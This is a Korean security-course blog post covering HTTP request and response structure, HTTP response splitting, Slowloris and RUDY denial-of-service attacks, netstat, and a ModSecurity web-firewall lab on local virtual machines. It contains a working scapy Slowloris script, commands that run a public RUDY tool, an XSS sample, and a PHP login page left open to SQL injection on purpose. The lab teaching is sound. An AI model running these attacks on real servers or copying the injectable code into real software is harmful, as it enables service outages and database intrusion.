[SK shieldus Rookies 19기] 5.4. 시스템/네트워크 보안(6) HTTP, Slowloris, RUDY, netstat, WAF,

WoongchiSec·2024년 3월 28일

SK shieldus Rookies

목록 보기
17/23
post-thumbnail

sk shieldus rookies 19기 5주 4일차

HTTP(HyperText Transfer Protocol)

  • 요청/응답 구조
  • Stateless ⇒ 요청과 요청 간의 관계를 알 수 없다. ⇒ 보완하기 위해 Cookie, Session 개념이 등장
↳ 	⇐ 개행 문자를 의미(= CR + LF = 0d 0a)

$ nc bee.box 80				⇐ bee.box 서버의 80 포트로 연결 
GET /index.html HTTP/1.0↳			⇐ 요청 시작	
Host: bee.box:80↳				⇐ 요청 헤더 시작
Accept: text/html↳
Accept-Language: en-US,en↳
Accept-Encoding: gzip, deflate↳
↳						⇐ 요청 헤더 끝 → GET 방식이므로 요청 본문이 생략 
HTTP/1.1 200 OK↳				⇐ 응답 시작
Date: Thu, 28 Mar 2024 00:39:39 GMT↳	⇐ 응답 헤더 시작
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g↳
Last-Modified: Sun, 02 Nov 2014 18:20:24 GMT↳
ETag: "ccb16-24c-506e4489b4a00"↳
Accept-Ranges: bytes↳
Content-Length: 588↳
Connection: close↳
Content-Type: text/html↳
↳						⇐ 응답 헤더 끝
<!DOCTYPE html>				⇐ 응답 본문 시작
<html>

<body>

<h1>bWAPP, an extremely buggy web app !</h1>
						⇐ Content-Length의 값 만큼의 응답 본문

응답 헤더의 구조를 이용한 공격 ⇒ HTTP 응답분할

  • 외부 입력값에 개행문자 포함 여부를 확인하지 않고 응답 헤더의 값으로 사용하는 경우 응답 여러 개로 분리되어 전달되는 현상
  • → 추가로 생성된 응답 본문에 악성 코드를 삽입하여 클라이언트로 전달 실행할 수 있음
HTTP/1.1 200 OK↳				
Date: Thu, 28 Mar 2024 00:39:39 GMT↳	⇐ 응답 헤더로 브라우져가 응답 본문을 해석할 때 또는 다음 요청 시 참고
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g↳
Last-Modified: Sun, 02 Nov 2014 18:20:24 GMT↳
ETag: "ccb16-24c-506e4489b4a00"↳
Set-Cookie: name=honggildong;↳
↳						⇐ 첫번째 응답 헤더가 끝 
<script>alert('xss')</script>↳		⇐ 첫번째 응답 본문 → 추가된 본문에 실행 가능한 코드를 삽입
HTTP/1.1 200 OK↳				⇐ 두번째 응답 시작
Accept-Ranges: bytes↳
Content-Length: 588↳
Connection: close↳
Content-Type: text/html↳
↳						⇐ 두번째 응답 헤더가 끝
<!DOCTYPE html>				⇐ 응답 본문으로 브라우져를 통해서 보여지는 부분(= 실행되는 부분)
<html>

<body>

<h1>bWAPP, an extremely buggy web app !</h1>


HTTP 응답분할을 방어하기 위해서는 외부 입력값에 개행문자 포함 여부를 확인하고 응답 헤더의 값으로 사용 
                                                                              ~~~~~~~~~~~~~~~~~~~~~~~
                       1) 리다이렉션 주소 → Location 응답 헤더의 값
                       2) 쿠키 값 → Set-Cookie 응답헤 더의 값 
                       3) 파일 다운로드 기능을 구현할 때 다운로드 파일명 → Content-Disposition 응답 헤더의 값
                          예) response['Content-Disposition'] = 'attachment; filename="파일명"'

요청 구조를 이용한 공격 기법

GET /index.html HTTP/1.0↳		
Host: bee.box:80↳			
Accept: text/html↳
Accept-Language: en-US,en↳
Accept-Encoding: gzip, deflate↳
↳					⇐ 요청 헤더의 끝은 개행 문자가 두 번 연속나오는 것을 알 수 있음

Frame 50: 759 bytes on wire (6072 bits), 759 bytes captured (6072 bits) on interface eth0, id 0
Ethernet II, Src: VMware_ca:54:d8 (00:0c:29:ca:54:d8), Dst: VMware_3e:ba:70 (00:0c:29:3e:ba:70)
Internet Protocol Version 4, Src: kali.linux (192.168.40.129), Dst: bee.box (192.168.40.130)
Transmission Control Protocol, Src Port: 57220 (57220), Dst Port: http (80), Seq: 1, Ack: 1, Len: 693
Hypertext Transfer Protocol
    POST /bWAPP/login.php HTTP/1.1\r\n			⇐ 요청 본문에 서버로 전달하는 내용(데이터)가 있음
    Host: bee.box\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n	⇐ 요청 본문의 인코딩 방법
    Content-Length: 52\r\n					⇐ 요청 본문의 크기 
    Origin: http://bee.box\r\n
    Connection: close\r\n
    Referer: http://bee.box/bWAPP/login.php\r\n
    Cookie: security_level=0; BEEFHOOK=wkrMo3t677h1lTUHoakNzOsNck2L0qA5Y0fmykV1GQLM7JBz6gg7iCO6zpeZqqIIIJqUi85J1GUMhCQ0; PHPSESSID=8135eeaddefcdb7f8ac60d6d56e5db18\r\n
    Upgrade-Insecure-Requests: 1\r\n
    \r\n							⇐ 요청 헤더의 끝
    [Full request URI: http://bee.box/bWAPP/login.php]
    [HTTP request 1/1]
    [Response in frame: 52]
    File Data: 52 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded	⇐ 요청 본문
    Form item: "login" = "bee"
    Form item: "password" = "1234"
    Form item: "security_level" = "0"
    Form item: "form" = "submit"

슬로로리스 공격(Slowloris Attack)

  • HTTP 요청 헤더의 끝이 한 줄 띄우는 것(개행 문자가 두 번 연속해서 나오는 것)을 이용한 공격
  • 요청 헤더를 끝내지 않고 의미 없는 헤더를 지속적으로 보내는 공격

만약, 클라이언트가 서버에게 아래와 같은 요청을 전달하면

    POST /bWAPP/login.php HTTP/1.1\r\n
    Host: bee.box\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n	⇐ 요청 본문의 인코딩 방법
    Content-Length: 52\r\n					⇐ 요청 본문의 크기 
    Origin: http://bee.box\r\n
    Connection: close\r\n
    Referer: http://bee.box/bWAPP/login.php\r\n
    Cookie: security_level=0; BEEFHOOK=wkrMo3t677h1lTUHoakNzOsNck2L0qA5Y0fmykV1GQLM7JBz6gg7iCO6zpeZqqIIIJqUi85J1GUMhCQ0; PHPSESSID=8135eeaddefcdb7f8ac60d6d56e5db18\r\n
    Upgrade-Insecure-Requests: 1\r\n

전달되지 않은 요청이 있는 것을 판단하고 일정 시간 남은 요청이 들어오기를 대기

    POST /bWAPP/login.php HTTP/1.1\r\n
    Host: bee.box\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n	
    Content-Length: 52\r\n					
    Origin: http://bee.box\r\n
    Connection: close\r\n
    Referer: http://bee.box/bWAPP/login.php\r\n
    Cookie: security_level=0; BEEFHOOK=wkrMo3t677h1lTUHoakNzOsNck2L0qA5Y0fmykV1GQLM7JBz6gg7iCO6zpeZqqIIIJqUi85J1GUMhCQ0; PHPSESSID=8135eeaddefcdb7f8ac60d6d56e5db18\r\n
    Upgrade-Insecure-Requests: 1\r\n
    x-header: a\r\n				⇐ 아무런 의미가 없는 헤더를 전달해서 서버가 다시 기다리게 만듦

RUDY attack = HTTP POST attack

R-U-Dead-Yet
HTTP POST 요청 시 Content-Length 헤더의 값을 크게 설정해서 전송하고 요청 본문의 데이터를 일정한 간격으로 한 문자씩 전송해서 서비스를 방해
서버는 한 세션 당 Content-Length * Interval 초 만큼의 시간 지연이 발생

    POST /bWAPP/login.php HTTP/1.1\r\n			
    Host: bee.box\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n	
    Content-Length: 52\r\n					
    Origin: http://bee.box\r\n
    Connection: close\r\n
    Referer: http://bee.box/bWAPP/login.php\r\n
    Cookie: security_level=0; BEEFHOOK=wkrMo3t677h1lTUHoakNzOsNck2L0qA5Y0fmykV1GQLM7JBz6gg7iCO6zpeZqqIIIJqUi85J1GUMhCQ0; PHPSESSID=8135eeaddefcdb7f8ac60d6d56e5db18\r\n
    Upgrade-Insecure-Requests: 1\r\n
    \r\n					
    login=bee&password=1234&security_level=0&form=submit	⇐ 요청 본문 ⇒ Content-Length 헤더의 값만 설정

만약 공격자 Content-Length 요청 헤더의 값을 아주 큰 값으로 설정하고 요청 본문의 내용을 작은 값은 값으로 설정

    POST /bWAPP/login.php HTTP/1.1\r\n			
    Host: bee.box\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n	
    Content-Length: 5200\r\n					
    Origin: http://bee.box\r\n
    Connection: close\r\n
    Referer: http://bee.box/bWAPP/login.php\r\n
    Cookie: security_level=0; BEEFHOOK=wkrMo3t677h1lTUHoakNzOsNck2L0qA5Y0fmykV1GQLM7JBz6gg7iCO6zpeZqqIIIJqUi85J1GUMhCQ0; PHPSESSID=8135eeaddefcdb7f8ac60d6d56e5db18\r\n
    Upgrade-Insecure-Requests: 1\r\n
    \r\n					
    login=bee&password=1234&security_level=0&form=submit	⇐ 서버는 일정 시간 동안 Content-Length 크기 만큼의 데이터가 
								   들어오기를 대기

netstat(network statistics)

  • 전송 제어 프로토콜, 라우팅 테이블, 수많은 네트워크 인터페이스(네트워크 인터페이스 컨트롤러 - 또는 소프트웨어 정의 네트워크 인터페이스), 네트워크 프로토콜 통계를 위한 네트워크 연결을 보여주는 명령 줄 도구

CLOSED		: No connection is active or ongoing
LISTEN		: The server is waiting to enter the call
SYN_RECV	: A connection request has arrived, waiting for confirmation
SYN_SENT	: The app has started, open a connection
ESTABLISHED	: Normal data transfer status
FIN_WAIT1	: The app says it has been done
FIN_WAIT2	: The other side has agreed to release
ITMED_WAIT	: Waiting for all packets to die
CLOSING		: Both sides try to close at the same time
TIME_WAIT	: The other side has been initialized with a release
LAST_ACK	: Wait for all packets to die

Slowloris attack 실습

#1 beebox 가상머신에서 네트워크 상태를 확인

bee@bee-box:~$ netstat -pant
                        ~~~~
                        p : 해당 프로토콜을 사용하고 있는 프로그램을 표시 
                        a : 모든 연결 및 수신 대기 포트 표시
                        n : 주소나 포트 형식을 숫자로 표시
                        t : TCP로 연결된 포트를 표시

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:9443            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:5901            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:3632            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:6001            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:9080            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:666             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:8443            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::6001                 :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               


bee@bee-box:~$ watch "netstat -pant"
               ~~~~~~~~~~~~~~~~~~~~~
               1초 주기로 해당 명령어를 실행

#2 kali 가상머신에서 beebox 가상머신으로 접속했을 때 네트워크 상태를 확인 ⇒ 연결 부터 연결 해제 까지 상태가 바뀌는 것을 화인

#3 kali 가상머신에서 slowloris.py 파일을 생성

$ code slowloris.py

import sys
from scapy.all import *

# 사용법
# python3 slowloris.py TARGET_IP TARGET_PORT NO_OF_GETS

# 매개변수 개수를 체크
if len(sys.argv) != 4:
    print("Invalid Parameter")
    sys.exit(1)

# 매개변수의 값을 지역변수에 할당
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
no_of_gets = int(sys.argv[3])

# IP 생성
ip = IP()
ip.dst = target_ip

# NO_OF_GETS 매개변수의 값 크기 만큼의 GET 요청을 전송
for s in range(no_of_gets): 
    # TCP 생성
    tcp = TCP()
    tcp.sport = RandNum(1024, 65535)
    tcp.dport = target_port
    tcp.flags = 'S'

    # SYN 패킷을 전달하고 SYN/ACK를 수신
    syn = ip / tcp 
    syn_ack = sr1(syn)

    # GET 요청을 생성 
    # 요청 헤더의 끝을 의미하는 개행문자가 누락되어 있음
    get = f"GET / HTTP/1.1\r\nHost: {target_ip} "

    # GET 페이로드를 가지고 있는 ACK 패킷을 생성
    ack_get = ip                        \
        / TCP(sport=syn_ack[TCP].dport, \
              dport=syn_ack[TCP].sport, \
              flags='A',                \
              seq=syn_ack[TCP].ack,     \
              ack=syn_ack[TCP].seq + 1) \
        / get

    # 패킷 정보 출력하고 서버로 전달
    print(ack_get.summary())
    sr1(ack_get)

#4 프로그램을 실행하고 패킷 정보, 웹 서버 상태 정보, 네트워크 상태 정보를 확인
$ sudo python3 slowloris.py bee.box 80 1000

RUDY attack = HTTP POST attack 실습

참고 ⇒ https://github.com/SergiDelta/rudy

#1 kali 가상머신에서 소스코드를 git clone

$ cd 							⇐ 사용자 홈 디렉터리로 이동    
$ git clone https://github.com/SergiDelta/rudy	⇐ 원격 레파지터리의 코드를 로컬로 복사
$ cd rudy
$ ls -l                           
total 32
-rw-r--r-- 1 kali kali  1076 Mar 27 23:42 LICENSE
-rw-r--r-- 1 kali kali  2272 Mar 27 23:42 README.md
-rw-r--r-- 1 kali kali 21862 Mar 27 23:42 rudy.py

#2 kali 가상머신에서 소스코드를 실행
$ python3 rudy.py http://bee.box:80

네트워크 상태를 확인하면 특정 호스트의 다수 포트와 연결이 유지되는 것을 확인

server-status 페이지를 조회하면 W 상태의 연결이 다수 유지되고 있는 것을 확인

요청 본문의 내용이 Content-Type에 설정된 값 보다 작으며 시간이 지나면서 조금씩 추가되는 것을 확인

웹 방화벽(WAF: Web Application Firewall)

  • 1세대 방화벽 (네트워크 방화벽) : MAC, IP, PORT 등에 대한 허용, 거부 정책을 적용해 방어
  • 2세대 방화벽 (어플리케이션 방화벽) : 어플리케이션 차원의 공격 패턴을 정책으로 적용해 방어
  • 웹 방화벽은 2세대 어플리케이션 방화벽으로 파악된 웹 공격 패턴으로 정책을 수립하여 SQL Injection, XSS, CSRF 등의 웹 공격 방어

#1 kali 이미지를 복사 또는 다운로드 받은 이미지를 새로운 폴더에 압축 해제

kali 가상머신을 중지하고 C:\FullstackLAB\kali-linux-2023.4-vmware-amd64.vmwarevm 폴더를 복사해서 C:\FullstackLAB\kali-linux-2023.4-vmware-amd64.vmwarevm - 복사본 폴더를 생성 

	또는 

C:\FullstackLAB 폴더 아래에 새로운 폴더를 만들고 kali-linux-2024.1-vmware-amd64.7z 파일을 압축해제

#2 새로운 이미지 추가

VMware Workstation의 Home 탭에서 Open a Virtual Machine을 클릭 > #1에서 압축해제한 폴더에서 이미지 파일을 선택

새롭게 추가한 가상머신의 이름을 victim으로 변경 후 가상머신 실행

#3 victim 가상머신에서 mysql 서비스 활성화 및 root 패스워드 활성화

┌──(kali㉿kali)-[~]
└─$ sudo service mysql start  
                                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo mysql -u root -p mysql
Enter password: 엔터
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.11.5-MariaDB-3 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [mysql]> 


MariaDB [mysql]> select user, host, plugin from mysql.user;
+-------------+-----------+-----------------------+
| User        | Host      | plugin                |
+-------------+-----------+-----------------------+
| mariadb.sys | localhost | mysql_native_password |
| root        | localhost | mysql_native_password |
| mysql       | localhost | mysql_native_password |
+-------------+-----------+-----------------------+
3 rows in set (0.002 sec)

MariaDB [mysql]> grant usage on *.* to 'root'@'localhost' identified by 'p@ssw0rd';
Query OK, 0 rows affected (0.001 sec)                                    ~~~~~~~~
                                                                         root 사용자 패스워드  

MariaDB [mysql]> exit
Bye
                                                                                  
┌──(kali㉿kali)-[~]
└─$ mysql -u root -p				⇐ 패스워드 설정 확인을 위해서 재접속
Enter password: p@ssw0rd				⇐ 위에서 설정한 root 사용자의 패스워드 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 10.11.5-MariaDB-3 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

#4 테스트에 사용할 DB 스키마, 테이블, 데이터를 생성

MariaDB [(none)]> create schema sample;		⇐ 스키마 생성
Query OK, 1 row affected (0.001 sec)

MariaDB [(none)]> use sample;			⇐ 사용할 스키마를 지정
Database changed

MariaDB [sample]> create table users (		⇐ 테이블 생성
    -> username varchar(100) primary key, 
    -> password varchar(100) not null);
Query OK, 0 rows affected (0.009 sec)

MariaDB [sample]> insert into users values ('test', 'test');	⇐ 테스트 데이터 등록
Query OK, 1 row affected (0.001 sec)

MariaDB [sample]> insert into users values ('admin', 'admin');
Query OK, 1 row affected (0.001 sec)

MariaDB [sample]> select * from users;		⇐ 데이터 등록 확인
+----------+----------+
| username | password |
+----------+----------+
| admin    | admin    |
| test     | test     |
+----------+----------+
2 rows in set (0.000 sec)

MariaDB [sample]> exit
Bye

#5 아파치 실행

┌──(kali㉿kali)-[~]
└─$ sudo service apache2 restart

                                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo service apache2 status 
● apache2.service - The Apache HTTP Server
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; preset: disab>
     Active: active (running) since Thu 2024-03-28 02:41:55 EDT; 15s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 15043 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUC>
   Main PID: 15067 (apache2)
      Tasks: 6 (limit: 2249)
     Memory: 19.8M
        CPU: 241ms
     CGroup: /system.slice/apache2.service
             ├─15067 /usr/sbin/apache2 -k start
             ├─15070 /usr/sbin/apache2 -k start
             ├─15071 /usr/sbin/apache2 -k start
             ├─15072 /usr/sbin/apache2 -k start
             ├─15073 /usr/sbin/apache2 -k start
             └─15074 /usr/sbin/apache2 -k start

#6 아파치 홈 디렉터리에 index.php 파일을 생성

┌──(kali㉿kali)-[~]
└─$ sudo gedit /var/www/html/index.php 

<html>
<body>
<?php
    if (isset($_POST['login'])) {			⇐ 해당 값이 설정되어 있는 경우는 로그인 화면에서 전달된 요청임
        $username = $_POST['username'];
        $password = $_POST['password'];
        $con = mysqli_connect('localhost', 'root', 'p@ssw0rd', 'sample');
        $result = mysqli_query($con, 
             "select * from users where username = '$username' and password = '$password'");	⇐ SQL Injection 가능
        if (mysqli_num_rows($result) == 0) {	⇐ users 테이블에 일치하는 내용이 존재하는지 검사
            echo 'Invalid username or password';
        } else {
            echo '<h1>Logged in</h1><p>A Secret for you ...</p>';
        }
    } else {						⇐ 주소창을 통해서 최초로 요청
?>
        <form action="" method="post">
            Username : <input type="text" name="username" /><br/>
            Password : <input type="password" name="password" /><br/>
            <input type="submit" name="login" value="Login" />
        </form>
<?php
    }
?>
</body>
</html>

새롭게 추가한 가상머신과 기존 가상머신의 MAC 주소가 충돌나는 경우, 가상머신 설정 메뉴에서 Network Adapter를 새롭게 NAT 타입으로 추가하고 기존 것을 삭제(Remove)

아파치와 MySQL 서비스를 시작

┌──(kali㉿kali)-[~]
└─$ sudo service apache2 restart
                                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo service mysql start    

#7 kali 가상머신에서 victim 가상머신으로 요청
victim 가상머신의 IP 주소를 확인

http://bee.box/index.php

#4 Username과 Password를 모르는 상태에서 로그인 성공 후 보여지는 중요 페이지로 이동 가능한지 확인
⇒ SQL Injection 여부를 확인

웹 방화벽 설치 여부를 확인

$ wafw00f http://bee.box
          ~~~~~~~~~~~~~~
          웹 방화벽 설치 여부를 탐지할 웹 서버 주소
                ______
               /      \
              (  W00f! )
               \  ____/
               ,,    __            404 Hack Not Found
           |`-.__   / /                      __     __
           /"  _/  /_/                       \ \   / /
          *===*    /                          \ \_/ /  405 Not Allowed
         /     )__//                           \   /
    /|  /     /---`                        403 Forbidden
    \\/`   \ |                                 / _ \
    `\    /_\\_              502 Bad Gateway  / / \ \  500 Internal Error
      `_____``-`                             /_/   \_\

                        ~ WAFW00F : v2.2.0 ~
        The Web Application Firewall Fingerprinting Toolkit
    
[*] Checking http://bee.box
[+] Generic Detection results:
[-] No WAF detected by the generic detection		⇐ WAF(웹 애플리케이션 방화벽)가 설치되지 않은 경우
[~] Number of requests: 7


$ wafw00f http://host.pc

                   ______
                  /      \
                 (  Woof! )                                                       
                  \  ____/                      )                                 
                  ,,                           ) (_                               
             .-. -    _______                 ( |__|                              
            ()``; |==|_______)                .)|__|                              
            / ('        /|\                  (  |__|                              
        (  /  )        / | \                  . |__|                              
         \(_)_))      /  |  \                   |__|                              

                    ~ WAFW00F : v2.2.0 ~
    The Web Application Firewall Fingerprinting Toolkit                           
                                                                                  
[*] Checking http://host.pc
ERROR:wafw00f:Something went wrong HTTPConnectionPool(host='host.pc', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f1d5c5990d0>: Failed to establish a new connection: [Errno 111] Connection refused'))
ERROR:wafw00f:Site host.pc appears to be down		⇐ 웹 서버가 실행되고 있지 않은 경우 

SQL Injection 공격이 가능한 것을 확인

#5 beebox 가상머신에 웹 방화벽(ModeSecurity)을 설치

$ sudo apt-get update -y     
$ sudo apt-get install -y libapache2-mod-security2
$ sudo systemctl restart apache2

                                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo apachectl -M | grep security        	⇐ 아파치 웹 서버에 로드된 모듈을 조회       
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
 security2_module (shared)


┌──(kali㉿kali)-[~]
└─$ sudo ls /etc/modsecurity 
crs  modsecurity.conf-recommended  unicode.mapping

┌──(kali㉿kali)-[~]
└─$ sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf             
                                                                                  
┌──(kali㉿kali)-[~]
└─$ sudo gedit /etc/modsecurity/modsecurity.conf

engine initialization ----------------------------------------------

# Enable ModSecurity, attaching it to every transaction. Use detection
# only to start with, because that minimises the chances of post-installation
# disruption.
#
# SecRuleEngine DetectionOnly		⇐ 공격을 탐지만 하고 차단하지 않음
SecRuleEngine On				⇐ 공격에 대응하는 차단 정책을 적용
	... 생략 ...

                                                                                
┌──(kali㉿kali)-[~]
└─$ sudo systemctl restart apache2 

#10 다시 SQL 인젝션 공격을 시도하면 공격이 차단되는 것을 확인

#11 웹 방화벽 동작 여부를 확인

┌──(kali㉿kali)-[~]
└─$ wafw00f http://victim                           

                   ______
                  /      \                                                        
                 (  Woof! )                                                       
                  \  ____/                      )                                 
                  ,,                           ) (_                               
             .-. -    _______                 ( |__|                              
            ()``; |==|_______)                .)|__|                              
            / ('        /|\                  (  |__|                              
        (  /  )        / | \                  . |__|                              
         \(_)_))      /  |  \                   |__|                              

                    ~ WAFW00F : v2.2.0 ~
    The Web Application Firewall Fingerprinting Toolkit                           
                                                                                  
[*] Checking http://victim
[+] Generic Detection results:
[*] The site http://victim seems to be behind a WAF or some sort of security solution
[~] Reason: The server returns a different response code when an attack string is used.
Normal response code is "200", while the response code to cross-site scripting attack is "403"
[~] Number of requests: 5

CRS와 관련한 내용은 아래에서 확인이 가능
CRS

아래 사이트에서 신규 룰셋을 다운로드 받을 수 있음
https://github.com/coreruleset/coreruleset


/etc/apache2/mods-enabled/security2.conf 파일에서 다운로드 받은 룰셋을 추가 

<IfModule security2_module>
	# Default Debian dir for modsecurity's persistent data
	SecDataDir /var/cache/modsecurity

	# Include all the *.conf files in /etc/modsecurity.
	# Keeping your local configuration in that directory
	# will allow for an easy upgrade of THIS file and
	# make your life easier
        IncludeOptional /etc/modsecurity/*.conf
        Include /etc/modsecurity/rules/*.conf
                ~~~~~~~~~~~~~~~~~~~~~~~
                다운로드 받은 최신 버전의 룰셋이 있는 위치

	# Include OWASP ModSecurity CRS rules if installed
	IncludeOptional /usr/share/modsecurity-crs/*.load
</IfModule>
profile
It's log on my way to whitehack

1개의 댓글

comment-user-thumbnail
2024년 3월 28일

#RUDY #SK shieldus Rookies 19기 #Slowloris #http #netstat #sk쉴더스루키즈 #waf #클라우드

답글 달기